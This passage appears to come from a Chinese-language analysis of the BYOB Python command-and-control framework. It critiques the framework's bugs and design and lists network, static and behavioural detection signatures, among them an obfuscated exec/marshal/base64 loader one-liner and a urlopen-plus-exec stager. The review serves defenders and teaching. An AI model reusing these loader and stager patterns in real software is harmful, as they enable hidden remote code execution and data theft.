AttributeError/TypeError:Method.__init__调util.__logger__.warn(...)但util无此属性;_add_scheduled_task调不存在的util.variable(...);_remove_crontab_job对list做lines.pop(line, None)(list.pop取整数索引不取字符串值)。 packetsniffer声明platforms=['linux2','darwin']却用 Linux 专属的socket.PF_PACKET(packetsniffer.py:22,149),macOS 上必崩;_run体错误处理整段被注释(:148-168)。keylogger导入pyHook(keylogger.py)——pyHook仅 Python 2 且无人维护,Py3 无 pyHook。键盘记录器实为 Windows+Py2 专属,尽管声明支持 win32/linux2/darwin。serve_resources(server.py:868-878)既坏又死:每 3 秒在无限循环里 kill 并重启package_handler,会切断每个在途远程导入;它从不被run()调用,纯地雷。- PEP 302
imploader 在 Python 3.12 已移除——整套远程导入在新 Python 上失效。 execute的info.dwFlags = subprocess.STARTF_USESHOWWINDOW, subprocess.CREATE_NEW_ps_GROUP(payloads.py:679)——小写ps_GROUP是笔误,且元组赋给dwFlags错误;Windows 隐藏进程路径坏的。
11.3 设计与可维护性
server.py1100 行上帝对象。C2(server.py:144-924)同时拥有:socket 生命周期、四个子进程句柄、命令分派表、控制台 UI(颜色/样式/提示符/banner/tab 补全)、SQL 直通、任务广播、session 簿记、显示格式化。应拆成transport/session/console_ui/commands/lifecycle。Payload~960 行上帝类,混 transport(send/recv)、任务循环、约 25 个无关命令(cd/ls/keylogger/outlook/escalate/persistence/packetsniffer…)。globals()当服务注册表。Payload伸手进globals()取diffiehellman/encrypt_aes/decrypt_aes/post/geolocation/public_ip等(payloads.py:143,170,221,569,614…),硬耦合到from x import *成功,重构/测试/静态分析痛苦。- 控制台与 Web 代码 ~140KB 复制粘贴且已分叉(
block_cipher等安全相关差异)。 - 裸
except:/except: pass泛滥(payloads.py:265,387,497,500,621,734,785;outlook.py:38,57;util.py:172,229,366;process.py:135)。 - Python 2/3 双兼容债遍布:
xrange/range、StringIO/io、urllib2/urllib、raw_input/input、string.lowercase、imp;security.py:31-48还在 import 时按sys.version_info猴补丁。 - 模块并非真正 drop-in:每个新模块需要一个
Payloadwrapper(见 §6.1)。 - Web GUI:C2 在 import 时实例化(见 §7.1)。
- Web GUI 与自身 HTTP 耦合:C2 线程在同进程里用
app.test_client().post('/api/session/new', ...)跟 Flask 说话(server.py:157,239),古怪且慢。 datetime.utcnow()在类定义时求值(models.py:22,36,79,101,121,default=datetime.utcnow()应为default=datetime.utcnow可调用),每行都拿导入时间戳。- 遗留/死代码:
_get_session_by_id(server.py:403-411)立即把参数覆写成None;_get_session_by_connection(:413-425)调不存在的self.get_sessions();handler.py重复/api/file/add且仍引用 Py2string.lowercase;server.py:955注释掉的self.rsa = None # security.Crypto.PublicKey.RSA.generate(2048)死愿望。
12. 解读结论
BYOB 是一个紧凑、教学向的 C2,用几个真正漂亮的想法(分层 dropper、内存远程导入、DH/AES 信道、任务审计日志)裹在一层脆弱的单文件上帝对象里。它最值得拆出来复用的是 loader.py(远程导入钩子)、帧化(长度前缀)与任务-DB 模式;server.py 单体与 database.py DAO 应当视作待重写的草稿,而非照搬。
最大的正确性风险是:SQLite 跨线程无序列化、accept 循环被每连接握手阻塞、handle_session 列名 SQL 注入、以及 process.kill/outlook.run/util.png 这类主线 bug。最大的安全风险是四个监听服务全部无认证、远程导入的未认证 RCE、Web 端 CSRF 关闭导致的登录用户全机器 RCE,以及控制台 shell=True 直通。整套抗分析子系统(反 VM、反 AV、\"UAC bypass\")宣传远大于实质——反 VM 出厂被注释关闭,escalate 既假又会在非管理员环境崩。
对蓝队/取证/EDR 而言,BYOB 是低难度但高教学价值的样本:
- 网络层:1337–1340 四个连续明文端口、
0.0.0.0绑定、python -m http.server的目录索引可枚举模块与 payload、POST handler 无认证无大小上限——任一都是低成本的 NDR/出口检测点。 - 静态层:
exec(eval(marshal.loads(zlib.decompress(base64.b64decode(...)))))自解压一行流、urlopen(...).read()+exec的 stager、delta = 0x9e3779b9的 XXTEA 常量、os.popen('taskkill /pid %s /f')的 shell 注入式进程操作——都是稳定的 YARA/规则特征。 - 行为层:反向 TCP 每 30 秒重试、DH 公值裸传、模块源码明文 HTTP 拉取后
exec、向 port+3 base64 POST 截图/pcap/键盘记录——主机侧 EDR 可在导入与上传两条路径上做高质量 telemetry。 - 代码审计层:这是研究\"如何不写一个 C2\"的反面教材——跨线程 SQLite、不循环的
recv、把客户端 dict keys 拼进 SQL 列名、eval+marshal.loads解攻击者字节、CSRF 默认关、import 即起监听——每一条都是可移植到任意 Python 服务端审计的检查项。
一句话:BYOB 的远程导入钩子值得学,它的服务器与数据库值得作为反面教材重写一遍。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论